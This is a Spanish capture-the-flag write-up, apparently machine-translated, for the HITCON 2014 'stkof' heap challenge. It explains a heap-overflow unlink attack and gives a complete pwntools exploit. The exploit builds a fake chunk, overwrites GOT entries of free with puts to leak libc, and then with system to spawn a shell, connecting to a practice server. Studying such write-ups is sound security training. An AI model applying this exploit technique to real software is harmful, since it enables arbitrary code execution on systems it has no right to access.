Recientemente, comencé a aprender mucho. Leí la wiki y algunos artículos importantes para comprender este tema sobre la desvinculación: hitcon2014_stkof
Primero arrastre ida y observe algunas funciones principales:
Función 1, cree un montón, y puede ver que la dirección del montón está almacenada en s, haga clic para ver
Se encuentra que es el segmento bss. Un puntero como este es una característica de este tipo de
tema. Función 2, Editar contenido del montón, la longitud puede ser configurada por usted mismo, hay una vulnerabilidad de desbordamiento del montón
Función 3, montón libre
La función 4 no es muy útil
Primero escribe las tres funciones:
def alloc(size):
sh.sendline('1')
sh.sendline(str(size))
sh.recvuntil('OK\n')
def edit(idx, size, content):
sh.sendline('2')
sh.sendline(str(idx))
sh.sendline(str(size))
sh.send(content)
sh.recvuntil('OK\n')
def delete(idx):
sh.sendline('3')
sh.sendline(str(idx))
Luego crea tres montones
alloc(0x100)
alloc(0x20)
alloc(0x80)
Tenga en cuenta que el tamaño del tercer montón, que es menor que 0x80, se clasificará en fastbin
Después de este paso, echemos un vistazo al diseño del segmento bss y el montón:
Segmento BSS:
luego el segundo fragmento y el tercer fragmento: no
es difícil ver que las direcciones de fragmento1, fragmento2 y fragmento3 se almacenan en 0x602148, 0x602150 y 0x602158 respectivamente
Debido a que queremos falsificar el fragmento falso en chunk2 y luego liberar chunk3, configuramos el lugar donde se almacena la dirección del fragmento2, es decir, 0x602150 como ptr, y luego construimos el fragmento falso y escribimos los datos de desbordamiento.
ptr=0x602150
payload=p64(0)+p64(0x21)+p64(ptr-0x18)+p64(ptr-0x10)
payload+=p64(0x20)+p64(0x90)
edit(2,len(payload),payload)
Después de este paso, la situación de chunk2 y chunk3 es así:
Preste atención a 0x20 y 0x90 en el encabezado de chunk3, y establezca la posición F de chunk3 en 0, lo que indica que el fragmento anterior está inactivo, y prev_size es el tamaño del fragmento falso anterior
Entonces libera chunk3
delete(3)
Este es el paso más crítico, han pasado muchas cosas
Cuando liberamos chunk3, el sistema juzga si el fragmento anterior está en un estado inactivo. Hemos organizado el bit F y el tamaño anterior de chunk3 a través del desbordamiento del montón. Por lo tanto, el sistema considera que el fragmento anterior está en un estado inactivo y lo ubica en función de la ubicación de chunk3 y prev_size. Vaya al fragmento anterior, que es nuestro fragmento falso. Luego es para fusionar estos dos fragmentos. En este momento, necesitamos juzgar nuevamente. Las condiciones para el juicio aquí son:
FD-> bk = fragmento falso && BK-> fd = fragmento falso
Entre ellos,
FD = fragmento falso-> fd
BK = fragmento falso-> bk,
es decir,
FD = 0x602138
BK = 0x602140,
entonces
FD-> bk = FD + 0x18
BK-> fd = BK + 0x10
Los resultados de ambos se almacenan en 0x602150 La dirección de 0xe05940 es la dirección del fragmento falso, por lo que omitimos la detección
Próximo,
FD-> bk = BK
BK-> fd = FD
Es decir, primero modifique los datos almacenados en 0x602150 a 0x602140, y luego cámbielos a 0x602138, para que el segmento bss sea así:
0x602150 debería haber almacenado la dirección de chunk2, pero ahora la hemos cambiado, podemos usarla En este punto, escriba datos en chunk2 y continúe reescribiendo
elf=ELF('./stkof')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
free=elf.got['free']
payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(puts_got)
edit(2,len(payload),payload)
Dado que el puntero chunk2 ha sido modificado por nosotros, después de este paso, los datos en el segmento bss se cambian realmente en lugar de los datos en chunk2. El segmento bss es el siguiente:
De esta manera, los punteros chunk1 y chunk3 también se cambian a la dirección got de la función free y la función put respectivamente De esta manera, cuando escribimos datos en chunk1, en realidad modificamos la dirección got de la función free.
edit(1,8,p64(puts_plt))
delete(3)
Después de este paso, la dirección obtenida de la función libre se cambió a la dirección plt de la función put. Free chunk3 realmente ejecuta la función put y genera la dirección obtenida de las put.
libc=ELF('./libc.so.6')
base = u64(sh.recv(6).ljust(8,'\x00'))-libc.symbols['puts']
sh.recvuntil('OK')
system_addr=base+libc.symbols['system']
Después de la salida, calcule la dirección base y la dirección de función del sistema
payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(ptr+0x10)+"/bin/sh"
edit(2,len(payload),payload)
edit(1,8,p64(system_addr))
delete(3)
El último paso es el mismo que el anterior, cambie la dirección obtenida de la función libre a la dirección de la función del sistema, escriba "/ bin / sh" en el segmento bss y luego ejecute la función del sistema para obtener el shell
Exp completa:
from pwn import *
sh=remote("node3.buuoj.cn",27974)
#sh=process("./stkof")
context.log_level='debug'
elf=ELF('./stkof')
libc=ELF('./libc.so.6')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
free=elf.got['free']
ptr=0x602150
def alloc(size):
sh.sendline('1')
sh.sendline(str(size))
sh.recvuntil('OK\n')
def edit(idx, size, content):
sh.sendline('2')
sh.sendline(str(idx))
sh.sendline(str(size))
sh.send(content)
sh.recvuntil('OK\n')
def delete(idx):
sh.sendline('3')
sh.sendline(str(idx))
alloc(0x100)
alloc(0x20)
alloc(0x80)
payload=p64(0)+p64(0x21)+p64(ptr-0x18)+p64(ptr-0x10)
payload+=p64(0x20)+p64(0x90)
edit(2,len(payload),payload)
delete(3)
sh.recvuntil('OK')
payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(puts_got)
edit(2,len(payload),payload)
edit(1,8,p64(puts_plt))
delete(3)
base = u64(sh.recv(6).ljust(8,'\x00'))-libc.symbols['puts']
sh.recvuntil('OK')
system_addr=base+libc.symbols['system']
payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(ptr+0x10)+"/bin/sh"
edit(2,len(payload),payload)
edit(1,8,p64(system_addr))
delete(3)
sh.interactive()
Mi código de referencia es este artículo: https://thinkycx.me/2018-11-30-HITCON2014-stkof.html
La implementación en la wiki es ligeramente diferente, pero también es fácil de entender.